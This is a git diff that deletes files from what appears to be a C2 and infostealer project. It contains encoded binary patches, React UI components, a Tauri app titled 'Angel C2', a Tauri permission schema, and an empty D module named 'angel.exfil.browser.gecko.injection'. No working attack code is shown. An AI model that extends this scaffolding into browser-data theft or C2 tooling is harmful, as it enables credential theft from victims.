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 diff --git a/index b/index deleted file mode 100644 index 3658a38a99f9f34938f2d975aaac2a68ceccefcd34efc3091657cddbc04dff8e..0000000000000000000000000000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 9122 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 diff --git a/index.html b/index.html deleted file mode 100644 index 514da16..0000000 --- a/index.html +++ /dev/null @@ -1,14 +0,0 @@ - - - - - - - - - -
    - - - - diff --git a/init.d b/init.d deleted file mode 100644 index 92e0ea2..0000000 --- a/init.d +++ /dev/null @@ -1,14 +0,0 @@ -module angel.utils.init; - -// Internal imports -import angel.utils.constants; -import angel.utils.logging; -// External imports -import std.stdio; -import std.file; - -void init() { - if (!exists(Constants.workdir)) { - mkdir(Constants.workdir); - } -} \ No newline at end of file diff --git a/inject.d b/inject.d deleted file mode 100644 index 30fb62b..0000000 --- a/inject.d +++ /dev/null @@ -1,2 +0,0 @@ -module angel.exfil.browser.gecko.injection; - diff --git a/input.tsx b/input.tsx deleted file mode 100644 index b812bde..0000000 --- a/input.tsx +++ /dev/null @@ -1,25 +0,0 @@ -import * as React from "react" - -import { cn } from "@/lib/utils" - -export interface InputProps - extends React.InputHTMLAttributes {} - -const Input = React.forwardRef( - ({ className, type, ...props }, ref) => { - return ( - - ) - } -) -Input.displayName = "Input" - -export { Input } diff --git a/label.tsx b/label.tsx deleted file mode 100644 index b8a3532..0000000 --- a/label.tsx +++ /dev/null @@ -1,24 +0,0 @@ -import * as React from "react" -import * as LabelPrimitive from "@radix-ui/react-label" -import { cva, type VariantProps } from "class-variance-authority" - -import { cn } from "@/lib/utils" - -const labelVariants = cva( - "text-sm font-medium leading-none peer-disabled:cursor-not-allowed peer-disabled:opacity-70" -) - -const Label = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef & - VariantProps ->(({ className, ...props }, ref) => ( - -)) -Label.displayName = LabelPrimitive.Root.displayName - -export { Label } diff --git a/layout.tsx b/layout.tsx deleted file mode 100644 index c2ce4cf..0000000 --- a/layout.tsx +++ /dev/null @@ -1,50 +0,0 @@ -import React from "react"; - -const Layout: React.FC = () => { - return ( - <> -
    -
    - close - close hover -
    - -
    - minimize - minimize hover -
    - -
    - maximize - maximize hover -
    -
    - - ); -}; - -export default Layout; diff --git a/lib.rs b/lib.rs deleted file mode 100644 index 72752b3..0000000 --- a/lib.rs +++ /dev/null @@ -1,27 +0,0 @@ -use tauri::Manager; - -mod commands; - -#[cfg_attr(mobile, tauri::mobile_entry_point)] -pub fn run() { - tauri::Builder::default() - .setup(|app| { - let version = app - .config() - .version - .clone() - .unwrap_or_else(|| "".to_string()); - let title = format!("Angel C2 - v{}", version); - let window = app.get_webview_window("main").unwrap(); - window.set_title(&title).unwrap(); - Ok(()) - }) - .plugin(tauri_plugin_shell::init()) - .invoke_handler(tauri::generate_handler![ - commands::validate_username, - commands::validate_license, - commands::get_app_version, - ]) - .run(tauri::generate_context!()) - .expect("error while running tauri application"); -} diff --git a/linux-schema.json b/linux-schema.json deleted file mode 100644 index 5a0123f..0000000 --- a/linux-schema.json +++ /dev/null @@ -1,2054 +0,0 @@ -{ - "$schema": "http://json-schema.org/draft-07/schema#", - "title": "CapabilityFile", - "description": "Capability formats accepted in a capability file.", - "anyOf": [ - { - "description": "A single capability.", - "allOf": [ - { - "$ref": "#/definitions/Capability" - } - ] - }, - { - "description": "A list of capabilities.", - "type": "array", - "items": { - "$ref": "#/definitions/Capability" - } - }, - { - "description": "A list of capabilities.", - "type": "object", - "required": [ - "capabilities" - ], - "properties": { - "capabilities": { - "description": "The list of capabilities.", - "type": "array", - "items": { - "$ref": "#/definitions/Capability" - } - } - } - } - ], - "definitions": { - "Capability": { - "description": "A grouping and boundary mechanism developers can use to isolate access to the IPC layer.\n\nIt controls application windows fine grained access to the Tauri core, application, or plugin commands. If a window is not matching any capability then it has no access to the IPC layer at all.\n\nThis can be done to create groups of windows, based on their required system access, which can reduce impact of frontend vulnerabilities in less privileged windows. Windows can be added to a capability by exact name (e.g. `main-window`) or glob patterns like `*` or `admin-*`. A Window can have none, one, or multiple associated capabilities.\n\n## Example\n\n```json { \"identifier\": \"main-user-files-write\", \"description\": \"This capability allows the `main` window on macOS and Windows access to `filesystem` write related commands and `dialog` commands to enable programatic access to files selected by the user.\", \"windows\": [ \"main\" ], \"permissions\": [ \"core:default\", \"dialog:open\", { \"identifier\": \"fs:allow-write-text-file\", \"allow\": [{ \"path\": \"$HOME/test.txt\" }] }, \"platforms\": [\"macOS\",\"windows\"] } ```", - "type": "object", - "required": [ - "identifier", - "permissions" - ], - "properties": { - "identifier": { - "description": "Identifier of the capability.\n\n## Example\n\n`main-user-files-write`", - "type": "string" - }, - "description": { - "description": "Description of what the capability is intended to allow on associated windows.\n\nIt should contain a description of what the grouped permissions should allow.\n\n## Example\n\nThis capability allows the `main` window access to `filesystem` write related commands and `dialog` commands to enable programatic access to files selected by the user.", - "default": "", - "type": "string" - }, - "remote": { - "description": "Configure remote URLs that can use the capability permissions.\n\nThis setting is optional and defaults to not being set, as our default use case is that the content is served from our local application.\n\n:::caution Make sure you understand the security implications of providing remote sources with local system access. :::\n\n## Example\n\n```json { \"urls\": [\"https://*.mydomain.dev\"] } ```", - "anyOf": [ - { - "$ref": "#/definitions/CapabilityRemote" - }, - { - "type": "null" - } - ] - }, - "local": { - "description": "Whether this capability is enabled for local app URLs or not. Defaults to `true`.", - "default": true, - "type": "boolean" - }, - "windows": { - "description": "List of windows that are affected by this capability. Can be a glob pattern.\n\nOn multiwebview windows, prefer [`Self::webviews`] for a fine grained access control.\n\n## Example\n\n`[\"main\"]`", - "type": "array", - "items": { - "type": "string" - } - }, - "webviews": { - "description": "List of webviews that are affected by this capability. Can be a glob pattern.\n\nThis is only required when using on multiwebview contexts, by default all child webviews of a window that matches [`Self::windows`] are linked.\n\n## Example\n\n`[\"sub-webview-one\", \"sub-webview-two\"]`", - "type": "array", - "items": { - "type": "string" - } - }, - "permissions": { - "description": "List of permissions attached to this capability.\n\nMust include the plugin name as prefix in the form of `${plugin-name}:${permission-name}`. For commands directly implemented in the application itself only `${permission-name}` is required.\n\n## Example\n\n```json [ \"core:default\", \"shell:allow-open\", \"dialog:open\", { \"identifier\": \"fs:allow-write-text-file\", \"allow\": [{ \"path\": \"$HOME/test.txt\" }] } ```", - "type": "array", - "items": { - "$ref": "#/definitions/PermissionEntry" - }, - "uniqueItems": true - }, - "platforms": { - "description": "Limit which target platforms this capability applies to.\n\nBy default all platforms are targeted.\n\n## Example\n\n`[\"macOS\",\"windows\"]`", - "type": [ - "array", - "null" - ], - "items": { - "$ref": "#/definitions/Target" - } - } - } - }, - "CapabilityRemote": { - "description": "Configuration for remote URLs that are associated with the capability.", - "type": "object", - "required": [ - "urls" - ], - "properties": { - "urls": { - "description": "Remote domains this capability refers to using the [URLPattern standard](https://urlpattern.spec.whatwg.org/).\n\n## Examples\n\n- \"https://*.mydomain.dev\": allows subdomains of mydomain.dev - \"https://mydomain.dev/api/*\": allows any subpath of mydomain.dev/api", - "type": "array", - "items": { - "type": "string" - } - } - } - }, - "PermissionEntry": { - "description": "An entry for a permission value in a [`Capability`] can be either a raw permission [`Identifier`] or an object that references a permission and extends its scope.", - "anyOf": [ - { - "description": "Reference a permission or permission set by identifier.", - "allOf": [ - { - "$ref": "#/definitions/Identifier" - } - ] - }, - { - "description": "Reference a permission or permission set by identifier and extends its scope.", - "type": "object", - "allOf": [ - { - "if": { - "properties": { - "identifier": { - "anyOf": [ - { - "description": "This permission set configures which\nshell functionality is exposed by default.\n\n#### Granted Permissions\n\nIt allows to use the `open` functionality without any specific\nscope pre-configured. It will allow opening `http(s)://`,\n`tel:` and `mailto:` links.\n", - "type": "string", - "const": "shell:default" - }, - { - "description": "Enables the execute command without any pre-configured scope.", - "type": "string", - "const": "shell:allow-execute" - }, - { - "description": "Enables the kill command without any pre-configured scope.", - "type": "string", - "const": "shell:allow-kill" - }, - { - "description": "Enables the open command without any pre-configured scope.", - "type": "string", - "const": "shell:allow-open" - }, - { - "description": "Enables the spawn command without any pre-configured scope.", - "type": "string", - "const": "shell:allow-spawn" - }, - { - "description": "Enables the stdin_write command without any pre-configured scope.", - "type": "string", - "const": "shell:allow-stdin-write" - }, - { - "description": "Denies the execute command without any pre-configured scope.", - "type": "string", - "const": "shell:deny-execute" - }, - { - "description": "Denies the kill command without any pre-configured scope.", - "type": "string", - "const": "shell:deny-kill" - }, - { - "description": "Denies the open command without any pre-configured scope.", - "type": "string", - "const": "shell:deny-open" - }, - { - "description": "Denies the spawn command without any pre-configured scope.", - "type": "string", - "const": "shell:deny-spawn" - }, - { - "description": "Denies the stdin_write command without any pre-configured scope.", - "type": "string", - "const": "shell:deny-stdin-write" - } - ] - } - } - }, - "then": { - "properties": { - "allow": { - "items": { - "title": "ShellScopeEntry", - "description": "Shell scope entry.", - "anyOf": [ - { - "type": "object", - "required": [ - "cmd", - "name" - ], - "properties": { - "args": { - "description": "The allowed arguments for the command execution.", - "allOf": [ - { - "$ref": "#/definitions/ShellScopeEntryAllowedArgs" - } - ] - }, - "cmd": { - "description": "The command name. It can start with a variable that resolves to a system base directory. The variables are: `$AUDIO`, `$CACHE`, `$CONFIG`, `$DATA`, `$LOCALDATA`, `$DESKTOP`, `$DOCUMENT`, `$DOWNLOAD`, `$EXE`, `$FONT`, `$HOME`, `$PICTURE`, `$PUBLIC`, `$RUNTIME`, `$TEMPLATE`, `$VIDEO`, `$RESOURCE`, `$LOG`, `$TEMP`, `$APPCONFIG`, `$APPDATA`, `$APPLOCALDATA`, `$APPCACHE`, `$APPLOG`.", - "type": "string" - }, - "name": { - "description": "The name for this allowed shell command configuration.\n\nThis name will be used inside of the webview API to call this command along with any specified arguments.", - "type": "string" - } - }, - "additionalProperties": false - }, - { - "type": "object", - "required": [ - "name", - "sidecar" - ], - "properties": { - "args": { - "description": "The allowed arguments for the command execution.", - "allOf": [ - { - "$ref": "#/definitions/ShellScopeEntryAllowedArgs" - } - ] - }, - "name": { - "description": "The name for this allowed shell command configuration.\n\nThis name will be used inside of the webview API to call this command along with any specified arguments.", - "type": "string" - }, - "sidecar": { - "description": "If this command is a sidecar command.", - "type": "boolean" - } - }, - "additionalProperties": false - } - ] - } - }, - "deny": { - "items": { - "title": "ShellScopeEntry", - "description": "Shell scope entry.", - "anyOf": [ - { - "type": "object", - "required": [ - "cmd", - "name" - ], - "properties": { - "args": { - "description": "The allowed arguments for the command execution.", - "allOf": [ - { - "$ref": "#/definitions/ShellScopeEntryAllowedArgs" - } - ] - }, - "cmd": { - "description": "The command name. It can start with a variable that resolves to a system base directory. The variables are: `$AUDIO`, `$CACHE`, `$CONFIG`, `$DATA`, `$LOCALDATA`, `$DESKTOP`, `$DOCUMENT`, `$DOWNLOAD`, `$EXE`, `$FONT`, `$HOME`, `$PICTURE`, `$PUBLIC`, `$RUNTIME`, `$TEMPLATE`, `$VIDEO`, `$RESOURCE`, `$LOG`, `$TEMP`, `$APPCONFIG`, `$APPDATA`, `$APPLOCALDATA`, `$APPCACHE`, `$APPLOG`.", - "type": "string" - }, - "name": { - "description": "The name for this allowed shell command configuration.\n\nThis name will be used inside of the webview API to call this command along with any specified arguments.", - "type": "string" - } - }, - "additionalProperties": false - }, - { - "type": "object", - "required": [ - "name", - "sidecar" - ], - "properties": { - "args": { - "description": "The allowed arguments for the command execution.", - "allOf": [ - { - "$ref": "#/definitions/ShellScopeEntryAllowedArgs" - } - ] - }, - "name": { - "description": "The name for this allowed shell command configuration.\n\nThis name will be used inside of the webview API to call this command along with any specified arguments.", - "type": "string" - }, - "sidecar": { - "description": "If this command is a sidecar command.", - "type": "boolean" - } - }, - "additionalProperties": false - } - ] - } - } - } - }, - "properties": { - "identifier": { - "description": "Identifier of the permission or permission set.", - "allOf": [ - { - "$ref": "#/definitions/Identifier" - } - ] - } - } - }, - { - "properties": { - "identifier": { - "description": "Identifier of the permission or permission set.", - "allOf": [ - { - "$ref": "#/definitions/Identifier" - } - ] - }, - "allow": { - "description": "Data that defines what is allowed by the scope.", - "type": [ - "array", - "null" - ], - "items": { - "$ref": "#/definitions/Value" - } - }, - "deny": { - "description": "Data that defines what is denied by the scope. This should be prioritized by validation logic.", - "type": [ - "array", - "null" - ], - "items": { - "$ref": "#/definitions/Value" - } - } - } - } - ], - "required": [ - "identifier" - ] - } - ] - }, - "Identifier": { - "description": "Permission identifier", - "oneOf": [ - { - "description": "Default core plugins set which includes:\n- 'core:path:default'\n- 'core:event:default'\n- 'core:window:default'\n- 'core:webview:default'\n- 'core:app:default'\n- 'core:image:default'\n- 'core:resources:default'\n- 'core:menu:default'\n- 'core:tray:default'\n", - "type": "string", - "const": "core:default" - }, - { - "description": "Default permissions for the plugin.", - "type": "string", - "const": "core:app:default" - }, - { - "description": "Enables the app_hide command 